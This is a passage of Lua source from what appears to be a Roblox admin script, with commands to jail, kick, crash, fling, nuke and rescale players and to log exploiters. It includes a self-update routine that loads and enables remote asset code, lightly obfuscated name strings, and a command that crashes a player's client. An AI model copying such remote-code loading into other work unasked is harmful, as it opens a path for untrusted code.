908end
909
910function CORE:Log(LogTable, Player, Chat)
911 local PlayerName = tostring(Player)
912 if type(Player) == "userdata" or type(Player) == "table" then PlayerName = Player.Name end
913 table.insert(LogTable, CORE:GetTime(true, true).." @ "..PlayerName..": "..Chat)
914end
915
916function CORE:Jail(Player)
917 if not Player then return nil end
918 local Cell = Workspace:FindFirstChild(Player.Name.."'s Cell") if Cell then Cell:Destroy() end
919 Cell = Instance.new("Model", Workspace) Cell.Name = Player.Name.."'s Cell"
920 local Floor = Instance.new("Part", Cell) Floor.Name = "Floor" Floor.FormFactor = "Custom" Floor.Size = Vector3.new(15,1,15) Floor.Material = "DiamondPlate" Floor.TopSurface = "Smooth" Floor.BottomSurface = "Smooth" Floor.Position = Vector3.new(0,1001.7,0) Floor.Anchored = true Floor.Locked = true
921 local Wall = Instance.new("Part", Cell) Wall.Name = "Wall" Wall.FormFactor = "Custom" Wall.Size = Vector3.new(15,14.2,1) Wall.BrickColor = BrickColor.new("Bright blue") Wall.TopSurface = "Smooth" Wall.BottomSurface = "Smooth" Wall.Position = Vector3.new(0,1009.3,-7) Wall.Anchored = true Wall.Locked = true Wall.Transparency = 0.5
922 local SG = Instance.new("SurfaceGui", Wall) SG.Name = "SG" SG.Adornee = Wall
923 local Text = Instance.new("TextLabel", SG) Text.Size = UDim2.new(1,0,1,0) Text.BackgroundTransparency = 1 Text.TextColor3 = Color3.new(1,1,1) Text.Font = "ArialBold" Text.FontSize = "Size36" Text.TextYAlignment = "Bottom" Text.TextWrapped = true Text.Text = "WARNING: Wild noob in natural habitat. Do no tap glass, it may cause the noob to be angry. Do not open cage and feed noob"
924 Wall = Wall:Clone() Wall.Parent = Cell Wall.Position = Vector3.new(0,1009.3,7) Wall.SG.Face = "Back"
925 Wall = Wall:Clone() Wall.Parent = Cell Wall.Position = Vector3.new(-7, 1009.3, 0) Wall.Size = Vector3.new(13,14.2,1) Wall.Rotation = Vector3.new(0,90,0) Wall.SG.Face = "Front"
926 Wall = Wall:Clone() Wall.Parent = Cell Wall.Position = Vector3.new(7, 1009.3, 0) Wall.Size = Vector3.new(13,14.2,1) Wall.Rotation = Vector3.new(0,90,0) Wall.SG.Face = "Back"
927 local Roof = Floor:Clone() Roof.Parent = Cell Roof.Name = "Roof" Roof.Position = Vector3.new(-0,1016.9, 0)
928 Cell:MoveTo(Vector3.new(0,3,0))
929
930 if Player.Character and Player.Character:FindFirstChild("Torso") then
931 Cell:MoveTo(Player.Character.Torso.Position - Vector3.new(0,3,0))
932 Player.Character:MoveTo(Floor.Position + Vector3.new(0,2,0))
933 end
934 table.insert(Dispose, Cell)
935 Jails[Player.Name] = Cell
936end
937
938function CORE:UnJail(Player)
939 if not Player then return nil end
940 if Jails[Player.Name] then
941 Jails[Player.Name]:Destroy()
942 Jails[Player.Name] = nil
943 end
944end
945
946function CORE:ChangeName(Player, NewName)
947 if not Player or not NewName then return nil end
948 if Player.Character and Player.Character:FindFirstChild("Humanoid") and Player.Character:FindFirstChild("Head") then
949 local NewName = STRING:FormatReplace(Player, NewName)
950
951 for _,Obj in pairs(Player.Character:GetChildren()) do
952 if Obj.Name == "Label" then Obj:Destroy() end
953 end
954
955 local Head = Player.Character.Head
956 local HeadClone = Head:Clone()
957
958 -- make actual head invisible
959 Head.Transparency = 1
960 ypcall(function() Head.face.Transparency = 1 end)
961
962 -- make fake head visible
963 HeadClone.Transparency = 0
964 ypcall(function() HeadClone.face.Transparency = 0 end)
965
966 local Label = Instance.new("Model", Player.Character)
967 Label.Name = "Label"
968
969 local Model = Instance.new("Model", Label)
970 Model.Name = NewName
971
972 local HumanoidClone = Instance.new("Humanoid", Model)
973 coroutine.wrap(function() while wait() and Player.Character and Player.Character:FindFirstChild("Humanoid") do HumanoidClone.Health = Player.Character.Humanoid.Health HumanoidClone.MaxHealth = Player.Character.Humanoid.MaxHealth end end)()
974
975 HeadClone.Position = Vector3.new(0,100,0)
976 HeadClone.CanCollide = false
977 ypcall(function() HeadClone.BrickColor = Player.Character["Body Colors"].Head end)
978
979
980 Delay(0.01, function() -- new roblox engine needs time to proccess that a label needs to be given after a model's been created
981 HeadClone.Parent = Model
982 local Weld = Instance.new("Weld", HeadClone)
983 Weld.Part0 = HeadClone
984 Weld.Part1 = Head
985 end)
986 end
987end
988
989function CORE:UpdateAdmin()
990 local UpdateModel = AdminID
991 if UpdateModel == 0 then return end
992 local NewAdminModel = nil
993 ypcall(function() NewAdminModel = Server.IS:LoadAsset(UpdateModel) end)
994 if NewAdminModel then
995 local NewAdmin = NewAdminModel:FindFirstChild("Ma".."kerModelLua's Admin", true)
996 if NewAdmin then
997 local NewVersion = NewAdmin:FindFirstChild("Version")
998 if NewVersion.Value ~= CORE.Version.Value then
999 if ExploitModule then
1000 ExploitModule.Disabled = true
1001 ExploitModule:Destroy()
1002 end
1003 NewAdmin.Disabled = true
1004 NewAdmin.Parent = Workspace
1005 if not Settings then
1006 local NewSettings = NewAdminModel:FindFirstChild("M".."a".."kerMod".."elL".."a's Admin Settings", true)
1007 if NewSettings then NewSettings.Parent = Workspace end
1008 end
1009 wait() NewAdmin.Disabled = false
1010 CORE:RemoveAdmin()
1011 else
1012 NewAdminModel:Destroy()
1013 end
1014 end
1015 end
1016end
1017
1018function CORE:UnpackPlayers(Players)
1019 local PlayerNames = ""
1020 for Num,Player in pairs(Players) do
1021 if Player ~= nil then
1022 if Num ~= #Players then
1023 PlayerNames = PlayerNames..Player.Name..", "
1024 else
1025 PlayerNames = PlayerNames..Player.Name
1026 end
1027 end
1028 end
1029 return PlayerNames
1030end
1031
1032function CORE:GetValue(Value)
1033 if Value:IsA("StringValue") then
1034 if Value.Name == "Owner" then if not ScanAdminList(Value.Value) then table.insert(Settings.Ranks["Owner"], Value.Value) end end
1035 if Value.Name == "Admin" then if not ScanAdminList(Value.Value) then table.insert(Settings.Ranks["Admin"], Value.Value) end end
1036 if Value.Name == "Member" then if not ScanAdminList(Value.Value) then table.insert(Settings.Ranks["Member"], Value.Value) end end
1037 if Value.Name == "Banned" then if not ScanAdminList(Value.Value) then table.insert(Settings.Ranks["Banned"], Value.Value) end end
1038 if Value.Name == "Crashed" then if not ScanAdminList(Value.Value) then table.insert(Settings.Ranks["Crashed"], Value.Value) end end
1039 if Value.Name == "Muted" then if not ScanAdminList(Value.Value) then table.insert(Settings.Ranks["Muted"], Value.Value) end end
1040 if Value.Name == "RemoveAdmin" then if ScanAdminList(Value.Value) then
1041 for Num,Admin in pairs(Settings.Ranks["Admin"]) do
1042 if Admin == Value.Value then
1043 table.remove(Settings.Ranks["Admin"],Num)
1044 end
1045 end
1046 end end
1047 end
1048end
1049
1050function CORE:GetPlayer(ID)
1051 local Return = {"Unknown", ID}
1052 if tonumber(ID) then
1053 for _,Data in pairs(CharacterCache) do
1054 if ID == Data[2] then
1055 return Data
1056 end
1057 end
1058 ypcall(function()
1059 local Name = Server.Players:GetNameFromUserIdAsync(ID)
1060 if Name then
1061 local Data = {Name, ID}
1062 table.insert(CharacterCache, Data)
1063 Return = Data
1064 end
1065 end)
1066 else
1067 local Name = tostring(ID)
1068 for _,Data in pairs(CharacterCache) do
1069 if string.lower(Name) == string.lower(Data[1]) then
1070 return Data
1071 end
1072 end
1073 ypcall(function()
1074 local PlayerID = Server.Players:GetUserIdFromNameAsync(Name)
1075 if PlayerID then
1076 Name = Server.Players:GetNameFromUserIdAsync(PlayerID) or Name
1077 local Data = {Name, PlayerID}
1078 table.insert(CharacterCache, Data)
1079 Return = Data
1080 end
1081 end)
1082 end
1083
1084 return Return
1085end
1086
1087function CORE:ChangeCharacter(Player, ID, Perm, Speaker, NameChar, ManualPos) coroutine.wrap(function()
1088 if ID and #tostring(ID) >= 1 then
1089 local PlayerName = nil
1090
1091 local Players = STRING:Scan(ID, Speaker)
1092 if #Players >= 1 then -- if player is found in server
1093 ID = Players[1].UserId
1094 elseif tonumber(ID) then
1095 local Data = CORE:GetPlayer(ID)
1096 PlayerName = Data[1]
1097 else
1098 local Data = CORE:GetPlayer(tostring(ID))
1099 PlayerName = Data[1]
1100 ID = Data[2]
1101 end
1102
1103 if tonumber(ID) == 20018 then -- exploding easter bunny
1104 local OldID = ID
1105 ID = 1
1106 if Speaker then
1107 if RANK:GetRank(Speaker) == "Member" then
1108 coroutine.wrap(function()
1109 wait(1)
1110 GUI:SendMessage(Speaker, "You cannot character as this", "RED No exploding easter bunnies allowed, sorry", "Error", 10)
1111 end)()
1112 else ID = OldID
1113 end
1114 end
1115 elseif tonumber(ID) == 1311 then -- ffjosh
1116 local OldID = ID
1117 ID = 1
1118 if Speaker then
1119 if RANK:GetRank(Speaker) == "Member" then
1120 coroutine.wrap(function()
1121 wait(1)
1122 GUI:SendMessage(Speaker, "You cannot character as this", "RED No exploiting moderators allowed, sorry", "Error", 10)
1123 end)()
1124 else ID = OldID
1125 end
1126 end
1127 end
1128
1129 if tonumber(ID) then
1130 local Position = nil
1131 if Player.Character ~= nil and Player.Character:FindFirstChild("Torso") ~= nil then
1132 if ManualPos then
1133 Position = ManualPos
1134 else
1135 Position = Player.Character.Torso.Position
1136 end
1137 end
1138 Player.CharacterAppearance = "http://www.roblox.com/Asset/CharacterFetch.ashx?userId="..ID
1139 wait() Player:LoadCharacter() wait()
1140 if Position then Player.Character:MoveTo(Position) end
1141 if not Perm then
1142 Player.CharacterAppearance = "http://www.roblox.com/Asset/CharacterFetch.ashx?userId="..Player.UserId
1143 end
1144 if NameChar and PlayerName then
1145 wait(2)
1146 CORE:ChangeName(Player, PlayerName)
1147 end
1148 end
1149 end
1150end)() end
1151
1152function CORE:GenerateShield(Player)
1153 if not Player then return nil end
1154 if not Player.Character then return nil end
1155 local Torso = Player.Character:FindFirstChild("Torso")
1156 if not Torso then return nil end
1157
1158 local Shield = Player.Character:FindFirstChild("Shield")
1159 if Shield then Shield:Destroy() end
1160
1161 Shield = Instance.new("Part", Player.Character)
1162 Shield.Name = "Shield"
1163 Shield.Locked = true
1164 Shield.CanCollide = false
1165 Shield.Size = Vector3.new(10,10,10)
1166 Shield.Shape = "Ball"
1167 Shield.Color = GUI:GetColor()
1168 Shield.Transparency = 0.5
1169 Shield.TopSurface = "Smooth"
1170 Shield.BottomSurface = "Smooth"
1171 Shield.Anchored = true
1172 Shield.Position = Torso.Position
1173
1174 local Hum = SOUND:MakeSound(Shield, 147493985, 1, 1, true)
1175 local Zap = SOUND:MakeSound(Shield, 192783601, 1, 1, false)
1176
1177 Hum:Play()
1178
1179 Shield.Touched:connect(function(Part)
1180 if Part.Parent ~= Server.Workspace then
1181 local Humanoid = Part.Parent:FindFirstChild("Humanoid") or Part.Parent.Parent:FindFirstChild("Humanoid") or Part.Parent.Parent.Parent:FindFirstChild("Humanoid")
1182 if Humanoid then
1183 local Char = Humanoid.Parent
1184 if Char:IsA("Model") and Humanoid.Health > 0 then
1185 if Char ~= Player.Character then
1186 Char:BreakJoints()
1187 Zap:Play()
1188 end
1189 end
1190 end
1191 end
1192 end)
1193
1194 coroutine.wrap(function() repeat wait()
1195 Shield.CFrame = Torso.CFrame
1196 until Torso.Parent == nil or Shield.Parent == nil end)()
1197end
1198
1199function CORE:FlingPlayer(Player)
1200 if Player and Player.Character then
1201 if Player.Character:FindFirstChild("Torso") then
1202 local Fling = Instance.new("BodyForce", Player.Character.Torso)
1203 Fling.Name = "Fling"
1204 Fling.force = Vector3.new(10000,10000,10000)
1205 end
1206 end
1207end
1208
1209function CORE:Kick(Player, CustomMessage)
1210 if not CustomMessage then CustomMessage = "You've been kicked by M".."ake".."rMode".."".."lLua's Admin. You cannot interact with the server in anyway." end
1211 coroutine.wrap(function()
1212 CORE:ExecuteResource("PlayerKickMessage", Player.Character, {["Message"] = CustomMessage})
1213 wait(1)
1214 Player:Kick(CustomMessage)
1215 end)()
1216end
1217
1218function CORE:Crash(Player)
1219 local Parent = Player
1220 if Player:FindFirstChild("Backpack") then Parent = Player.Backpack
1221 elseif Player.Character then Parent = Player.Character end
1222
1223 CORE:ExecuteResource("Crash", Parent)
1224end
1225
1226function CORE:RestoreCamera(Player)
1227 if Player.Backpack then
1228 CORE:ExecuteResource("RestoreCamera", Player.Backpack)
1229 end
1230end
1231
1232function CORE:ScanItems(BaseObj, ObjTypes, ActiveFunc)
1233 local function ScanInstance(Object)
1234 if #Object:GetChildren() > 0 then
1235 for _,Obj in pairs(Object:GetChildren()) do
1236 local IsType = false
1237 if ObjTypes and #ObjTypes > 0 then
1238 for _,ObjType in pairs(ObjTypes) do
1239 if Obj:IsA(ObjType) then
1240 IsType = true
1241 break
1242 end
1243 end
1244 else
1245 IsType = true
1246 end
1247 if IsType == true then
1248 ActiveFunc(Obj)
1249 end
1250 ScanInstance(Obj)
1251 end
1252 end
1253 end
1254 ScanInstance(BaseObj)
1255end
1256
1257function CORE:AnchorPlayer(Player)
1258 if not Player or not Player.Character or not Player.Character:FindFirstChild("Humanoid") then return end
1259
1260 Player.Character.Humanoid.WalkSpeed = 0
1261 for _,Object in pairs(Player.Character:GetChildren()) do
1262 if Object:IsA("BasePart") then
1263 Object.Anchored = true
1264 end
1265 end
1266end
1267
1268function CORE:UnanchorPlayer(Player)
1269 if not Player or not Player.Character or not Player.Character:FindFirstChild("Humanoid") then return end
1270
1271 Player.Character.Humanoid.WalkSpeed = 16
1272 for _,Object in pairs(Player.Character:GetChildren()) do
1273 if Object:IsA("BasePart") then
1274 Object.Anchored = false
1275 end
1276 end
1277end
1278
1279function CORE:InvisiblePlayer(Player)
1280 if not Player or not Player.Character then return end
1281
1282 CORE:ScanItems(Player.Character, {"BasePart", "Texture", "Decal"}, function(Obj) Obj.Transparency = 1 end)
1283end
1284
1285function CORE:VisiblePlayer(Player)
1286 if not Player or not Player.Character then return end
1287
1288 CORE:ScanItems(Player.Character, {"BasePart", "Texture", "Decal"}, function(Obj) if Obj.Name ~= "HumanoidRootPart" then Obj.Transparency = 0 end end)
1289end
1290
1291function CORE:Nuke(Player) coroutine.wrap(function()
1292 local Pos = CFrame.new(0,1,0)
1293 if Player and Player.Character and Player.Character:FindFirstChild("Torso") then Pos = Player.Character.Torso.CFrame * CFrame.new(0,1,0) end
1294 local Blast = Instance.new("Part", Server.Workspace) Blast.Name = "BlastEx" Blast.Anchored = true Blast.CanCollide = false Blast.Size = Vector3.new(1,1,1) Blast.CFrame = Pos
1295 local BlastMesh = Instance.new("SpecialMesh", Blast) BlastMesh.MeshId = "rbxassetid://1290033" BlastMesh.TextureId = "rbxassetid://33145325" BlastMesh.Scale = Vector3.new(0,0,0)
1296 local Wave = Instance.new("Part", Server.Workspace) Wave.BrickColor = BrickColor.new("Deep orange") Wave.Name = "WaveEx" Wave.Anchored = true Wave.CanCollide = false Wave.Size = Vector3.new(1,1,1) Wave.CFrame = Pos * CFrame.Angles(math.pi/2,0,0)
1297 local WaveMesh = Instance.new("SpecialMesh", Wave) WaveMesh.MeshId = "rbxassetid://3270017"
1298 local Light = Instance.new("PointLight", Blast) Light.Brightness = 1000 Light.Range = 10000 Light.Color = Color3.new(1,0.2,0.2)
1299
1300 local Effect = Instance.new("ColorCorrectionEffect", Server.Lighting) Effect.Brightness = 0.2 Effect.Contrast = 0.4 Effect.Saturation = 1 Effect.TintColor = Color3.new(1,0.2,0.2)
1301
1302 Server.Lighting.Brightness = 5
1303 Server.Lighting.Ambient = Color3.new(1,0.5,0.5)
1304 Server.OutdoorAmbient = Color3.new(1,1,1)
1305
1306 local Exp = Instance.new("Explosion", Server.Workspace)
1307 Exp.Position = Pos.p
1308 Exp.BlastPressure = 10000000
1309 Exp.BlastRadius = 1000000
1310 Exp.Hit:connect(function(Part)
1311 if Part.Name ~= "Base" and Part.Name ~= "BasePlate" and Part ~= Blast and Part ~= Wave and Part.Name ~= "BlastEx" and Part.Name ~= "WaveEx" then
1312 ypcall(function()
1313 Part.Anchored = false
1314 Part.BrickColor = BrickColor.new("Black")
1315 Part.Material = "Slate"
1316 Part:BreakJoints()
1317 end)
1318 end
1319 end)
1320
1321 local BoomSound = SOUND:MakeSound(Server.Workspace, 212389494, 1, 1.2, false)
1322 BoomSound:Play()
1323 for i = 0,100,0.5 do
1324 Blast.Anchored = true
1325 Wave.Anchored = true
1326 BlastMesh.Scale = Vector3.new(i,i,i)
1327 WaveMesh.Scale = Vector3.new(i^1.3,i^1.3,5)
1328 Blast.CFrame = Pos
1329 wait()
1330 end
1331 BoomSound:Stop()
1332 Blast:Destroy()
1333 Wave:Destroy()
1334 wait()
1335 BoomSound:Destroy()
1336 Effect:Destroy()
1337 for i = 10,5,-1 do
1338 Server.Lighting.Brightness = (i-5) + 1
1339 Server.Lighting.Ambient = Color3.new(i/10,0.5,0.5)
1340 Server.OutdoorAmbient = Color3.new(i/10,i/10,i/10)
1341 wait(0.05)
1342 end
1343end)() end
1344
1345function CORE:Insert(AssetID, Parent, GetFirstChild, FirstChildTypes, AbuseMode)
1346 local AssetID = tonumber(AssetID)
1347 local Item = nil
1348 if AssetID then
1349 local CanInsert = true
1350 if AbuseMode then
1351 for _,ID in pairs(RemoteAbuseGear) do
1352 if AssetID == ID then CanInsert = false break end
1353 end
1354 for _,ID in pairs(Settings.AbusableGear) do
1355 if AssetID == ID then CanInsert = false break end
1356 end
1357 end
1358 if CanInsert then
1359 Item = Server.IS:LoadAsset(AssetID)
1360
1361 if GetFirstChild then
1362 Item = Item:GetChildren()[1]
1363 if FirstChildTypes and Item then
1364 local ValidType = false
1365 for _,Type in pairs(FirstChildTypes) do
1366 if Item:IsA(Type) then
1367 ValidType = true
1368 break
1369 end
1370 end
1371 if ValidType == false then
1372 Item = nil
1373 end
1374 end
1375 end
1376 if Item and Parent then
1377 Item.Parent = Parent
1378 end
1379 end
1380 end
1381 return Item
1382end
1383
1384function CORE:GivePackage(Player, PID) coroutine.wrap(function()
1385 if not Player or not Player.Character then return nil end
1386 PID = tonumber(PID)
1387 for _,Obj in pairs(Player.Character:GetChildren()) do
1388 if Obj:IsA("CharacterMesh") then Obj:Destroy() end
1389 end
1390 if PID then
1391 if PackageCache[PID] then
1392 for _,ID in pairs(PackageCache[PID]) do
1393 CORE:Insert(ID, Player.Character, true, {"CharacterMesh"})
1394 end
1395 else
1396 local IDsJSON = REMOTE:GetURL(CORE.Domain.."/APIs/GetPackage.php?PackageID="..PID)
1397 if IDsJSON then
1398 local IDs = REMOTE:Decode(IDsJSON)
1399 if IDs then
1400 if not IDs["Error"] then
1401 table.insert(PackageCache, IDs)
1402 for _,ID in pairs(IDs) do
1403 CORE:Insert(ID, Player.Character, true, {"CharacterMesh"})
1404 end
1405 end
1406 end
1407 end
1408 end
1409 end
1410end)() end
1411
1412function CORE:ChangeBet(Bet)
1413 if tostring(Bet) and Bet ~= Settings.Bet then
1414 for Index,Data in pairs(Commands) do
1415 Commands[Index][1] = string.gsub(Data[1], Settings.Bet, Bet)
1416 end
1417 Settings.Bet = Bet
1418 end
1419end
1420
1421function CORE:ResetLighting()
1422 ModLighting = false wait(0.2) ModLighting = true
1423end
1424
1425function CORE:Fly(Player, Force)
1426 if Player and Player.Character then
1427 local StopFly = Instance.new("RemoteFunction", Player.Character)
1428 StopFly.Name = "StopMMLFly"
1429 CORE:ExecuteResource("Fly", Player.Character, {["Force"] = Force, ["StopFunc"] = StopFly})
1430 end
1431end
1432
1433function CORE:GiveTools(Player, Type)
1434 if not Player or not Player:FindFirstChild("Backpack") then return nil end
1435 Type = string.lower(Type)
1436 local _,RankNum = RANK:GetRank(Player)
1437 local BuildTools = {73089166, 73089190, 73089204, 73089214, 73089239, 73089259, 58921588}
1438 local BaseBuildTools = {["Move"] = "GameTool", ["Clone"] = "Clone", ["Delete"] = "Hammer"}
1439
1440 if Type == "basicbtools" or Type == "basicbuildtools" or Type == "basicbuildingtools" then
1441 for Name,Type in pairs(BaseBuildTools) do
1442 local Tool = Instance.new("HopperBin", Player.Backpack)
1443 Tool.Name = Name
1444 Tool.BinType = Type
1445 end
1446 elseif Type == "psbtools" then
1447 for _,Tool in pairs(BuildTools) do
1448 CORE:Insert(Tool, Player.Backpack, true)
1449 end
1450 elseif Type == "f3xtools" or Type == "fextools" or Type == "f3x" then
1451 if F3X then
1452 local F3X = F3X:Clone()
1453 F3X.Parent = Player.Backpack
1454 end
1455 elseif Type == "btools" then
1456 if F3X then
1457 local F3X = F3X:Clone()
1458 F3X.Parent = Player.Backpack
1459 end
1460 for Name,Type in pairs(BaseBuildTools) do
1461 local Tool = Instance.new("HopperBin", Player.Backpack)
1462 Tool.Name = Name
1463 Tool.BinType = Type
1464 end
1465 for _,Tool in pairs(BuildTools) do
1466 CORE:Insert(Tool, Player.Backpack, true)
1467 end
1468 else
1469 for _,Region in pairs(ToolRegions) do
1470 CORE:ScanItems(Region, {"HopperBin", "Tool"}, function(Item)
1471 if Type == "all" then
1472 local NewItem = Item:Clone()
1473 NewItem.Parent = Player.Backpack
1474 elseif string.sub(string.lower(Item.Name),1,#Type) == string.lower(Type) then
1475 local NewItem = Item:Clone()
1476 NewItem.Parent = Player.Backpack
1477 end
1478 end)
1479 end
1480 end
1481end
1482
1483function CORE:Scale(Player, ScalePercent)
1484 if not Player or not Player.Character or not tonumber(ScalePercent) then return end
1485 local Ratio = ScalePercent/100
1486 if Ratio < 0.05 then Ratio = 0.05 end
1487 if Ratio > 100 then Ratio = 100 end
1488 if Ratio > 1 then Ratio = math.ceil(Ratio) end
1489 local Char = Player.Character
1490
1491 local Clean = Char:FindFirstChild("Clean")
1492 if Clean then Clean:Invoke() wait(0.1) Char = Player.Character end
1493 Clean = Instance.new("BindableFunction", Char) Clean.Name = "Clean"
1494
1495 local function Cycle(BaseObj, ScaleRatio, NewAdd, JustWeld)
1496 local Welds = {}
1497 local Parts = {}
1498
1499 local function Handle(Obj)
1500 if Obj:IsA("BasePart") and not JustWeld then
1501 table.insert(Parts, Obj)
1502 elseif Obj:IsA("SpecialMesh") and not JustWeld then
1503 if Obj.Name == "MML Mesh" then
1504 Obj:Destroy()
1505 end
1506 if Obj.MeshType == Enum.MeshType.FileMesh then
1507 Obj.Offset = Obj.Offset * ScaleRatio
1508 Obj.Scale = Obj.Scale * ScaleRatio
1509 elseif Ratio < 1 then
1510 Obj.Offset = Obj.Offset * ScaleRatio
1511 Obj.Scale = Obj.Scale * ScaleRatio
1512 end
1513 elseif Obj:IsA("CharacterMesh") and not JustWeld then
1514 if Ratio < 1 then
1515 local BodyPart = ""
1516 local TextureID = Obj.BaseTextureId
1517 if TextureID == 0 then TextureID = Obj.OverlayTextureId end
1518 if TextureID == 0 then TextureID = nil end
1519 if Obj.BodyPart == Enum.BodyPart.LeftArm then BodyPart = "Left Arm" end
1520 if Obj.BodyPart == Enum.BodyPart.RightArm then BodyPart = "Right Arm" end
1521 if Obj.BodyPart == Enum.BodyPart.LeftLeg then BodyPart = "Left Leg" end
1522 if Obj.BodyPart == Enum.BodyPart.RightLeg then BodyPart = "Right Leg" end
1523 if Obj.BodyPart == Enum.BodyPart.Torso then BodyPart = "Torso" end
1524 if Obj.BodyPart == Enum.BodyPart.Head then BodyPart = "Head" end
1525 local NewMesh = Instance.new("SpecialMesh", Obj.Parent:FindFirstChild(BodyPart))
1526 NewMesh.Name = "MML Mesh"
1527 NewMesh.Scale = Vector3.new(ScaleRatio,ScaleRatio,ScaleRatio)
1528 if TextureID then NewMesh.TextureId = "rbxassetid://"..TextureID end
1529 NewMesh.MeshId = "rbxassetid://"..Obj.MeshId
1530 Obj:Destroy()
1531 end
1532 elseif Obj:IsA("JointInstance") then
1533 local NewWeld = Obj:Clone()
1534 table.insert(Welds, {NewWeld, Obj.Parent})
1535 elseif NewAdd == true and not JustWeld then
1536 if Obj:IsA("Tool") then
1537 --Cycle(Char["Right Arm"], ScaleRatio, false, true)
1538 elseif Obj:IsA("Accoutrement") then
1539 --Cycle(Char.Head, ScaleRatio, false, true)
1540 end
1541 end
1542 if #Obj:GetChildren() > 0 then
1543 for _,NewObj in pairs(Obj:GetChildren()) do
1544 Handle(NewObj, ScaleRatio)
1545 end
1546 end
1547 end
1548 Handle(BaseObj)
1549 for _,Part in pairs(Parts) do
1550 if Ratio >= 1 then
1551 Part.Size = Part.Size * ScaleRatio
1552 else
1553 local Allowed = true
1554 for _,Obj in pairs(Part:GetChildren()) do
1555 if Obj:IsA("DataModelMesh") or Obj.Name == "MML Mesh" then
1556 Allowed = false
1557 end
1558 end
1559 if Allowed == true then
1560 local NewMesh = Instance.new("BlockMesh", Part)
1561 NewMesh.Name = "MML Mesh"
1562 NewMesh.Scale = Vector3.new(Ratio,Ratio,Ratio)
1563 end
1564 end
1565 end
1566 for _,WeldData in pairs(Welds) do
1567 if WeldData[1] then
1568 local Obj = WeldData[1]
1569 local NewWeld = Obj:Clone()
1570
1571 NewWeld.Parent = WeldData[2]
1572 NewWeld.C0 = CFrame.new(Obj.C0.p * ScaleRatio) * CFrame.Angles(Obj.C0:toEulerAnglesXYZ())
1573 NewWeld.C1 = CFrame.new(Obj.C1.p * ScaleRatio) * CFrame.Angles(Obj.C1:toEulerAnglesXYZ())
1574 end
1575 end
1576 for _,Part in pairs(Parts) do
1577 Part:MakeJoints()
1578 end
1579 Welds = {}
1580 Parts = {}
1581 end
1582 Cycle(Char, Ratio)
1583 Char:MakeJoints()
1584
1585 local Added = Char.ChildAdded:connect(function(Obj)
1586 Cycle(Obj, Ratio, NewAdd)
1587 end)
1588 local Removed = Char.ChildRemoved:connect(function(Obj)
1589 Cycle(Obj, Ratio^-1, NewAdd)
1590 end)
1591
1592 Clean.OnInvoke = function()
1593 Added:disconnect()
1594 Removed:disconnect()
1595 local Location = Vector3.new(0,5,0)
1596 if Char:FindFirstChild("Torso") then
1597 Location = Char.Torso.Position + Vector3.new(0,2,0)
1598 end
1599 Player:LoadCharacter()
1600 wait(0.5)
1601 Player.Character:MoveTo(Location)
1602 wait(0.5)
1603 return nil
1604 end
1605
1606 if Char:FindFirstChild("Torso") then
1607 Char:MoveTo(Char.Torso.Position + Vector3.new(0,Ratio*3))
1608 end
1609 if Char:FindFirstChild("Humanoid") then
1610 Char.Humanoid.WalkSpeed = Char.Humanoid.WalkSpeed * (Ratio)
1611 end
1612 if Ratio < 1 and Char:FindFirstChild("HumanoidRootPart") and Char.HumanoidRootPart:FindFirstChild("RootJoint") then
1613 Char.HumanoidRootPart.RootJoint.C0 = CFrame.new(0,-(3-(Ratio*3)),0) * CFrame.Angles(-math.rad(90),0,math.pi)
1614 end
1615end
1616
1617function CORE:AddExploit(PlayerClient, Data)
1618 local PlayerClientName = PlayerClient.Name
1619 local NewData = CORE:GetTime(true, true).." @ "..Data
1620 for _,Player in pairs(Server.Players:GetChildren()) do
1621 GUI:SendHint(Player, "Exploiter Found: "..PlayerClientName.." | If you are an admin view exploit logs by saying ;exploitlogs", 5)
1622 end
1623 local ExploitLog = Server.GDS:GetAsync("ExploitLog")
1624 if type(ExploitLog) ~= "table" then
1625 Server.GDS:SetAsync("ExploitLog", {NewData})
1626 else
1627 table.insert(ExploitLog, NewData)
1628 Server.GDS:SetAsync("ExploitLog", ExploitLog)
1629 end
1630 REMOTE:SendHttpLog("EXPLOITER FOUND: "..Data, "WARNING")
1631
1632 return true
1633end
1634
1635function CORE:CreateFigure(Name, Position, DisableAnimation, Speaker)
1636 if not tostring(Name) then Name = "Dummy" end
1637 if not Position then Position = Vector3.new(0,5,0) end
1638 if Speaker and Speaker.Character and Speaker.Character:FindFirstChild("Torso") then
1639 Position = Speaker.Character.Torso.Position + Vector3.new(0,5,10)
1640 end
1641
1642 local Figure = CORE:Insert(68452456, Server.Workspace, true)
1643 Figure:MakeJoints()
1644 Figure.Head.BrickColor = BrickColor.new("Bright yellow")
1645 Figure["Left Arm"].BrickColor = BrickColor.new("Bright yellow")
1646 Figure["Right Arm"].BrickColor = BrickColor.new("Bright yellow")
1647 Figure["Left Leg"].BrickColor = BrickColor.new("Dark green")
1648 Figure["Right Leg"].BrickColor = BrickColor.new("Dark green")
1649 Figure.Torso.BrickColor = BrickColor.new("Bright blue")
1650
1651 Figure.Name = STRING:FormatReplace(Speaker, Name)
1652 Figure:MoveTo(Position)
1653
1654 table.insert(Objects, Figure)
1655
1656 if DisableAnimation == true then
1657 Figure.Animate.Disabled = true
1658 end
1659
1660 return Figure
1661end
1662
1663function CORE:ClonePlayer(Player, Name, Position)
1664 if not Player or not Player.Character then return nil end
1665
1666 Player.Character.Archivable = true
1667 local Char = Player.Character:Clone()
1668 Player.Character.Archivable = false
1669 if Name then Char.Name = STRING:FormatReplace(Player, Name) end
1670 if Position then Char:MoveTo(Position) end
1671 Char.Parent = Server.Workspace
1672 Char:MakeJoints()
1673 Char:MoveTo(Player.Character.Torso.Position + Vector3.new(0,3,1))
1674
1675 table.insert(Objects, Char)
1676
1677 return Obj
1678end
1679
1680function CORE:AddWaypoint(Name, Position, Speaker)
1681 Waypoints[Name] = Position
1682 if Speaker then
1683 GUI:SendHint(Speaker, "Waypoint "..Name.." is located at ("..tostring(Position)..")", 2)
1684 end
1685end
1686
1687function CORE:FindType(BaseObj, Type)
1688 for _,Obj in pairs(BaseObj:GetChildren()) do
1689 if Obj:IsA(Type) then
1690 return Obj
1691 end
1692 end
1693end
1694
1695function CORE:GetCommands()
1696 local CommandsCopy = Commands
1697 return CommandsCopy
1698end
1699
1700function CORE:Crown(Player, Mesh, Color)
1701 if Mesh then Mesh = string.lower(Mesh) end
1702 if not Mesh or not Meshes[Mesh] then Mesh = "crown" end
1703 if not Player or not Player.Character or not Player.Character:FindFirstChild("Head") then return end
1704 local Part = Instance.new("Part", CrownStorage)
1705 Part.Size = Vector3.new(2, 1, 1)
1706 Part.CanCollide = false
1707 Part.CFrame = Player.Character.Head.CFrame
1708 Part.Locked = true
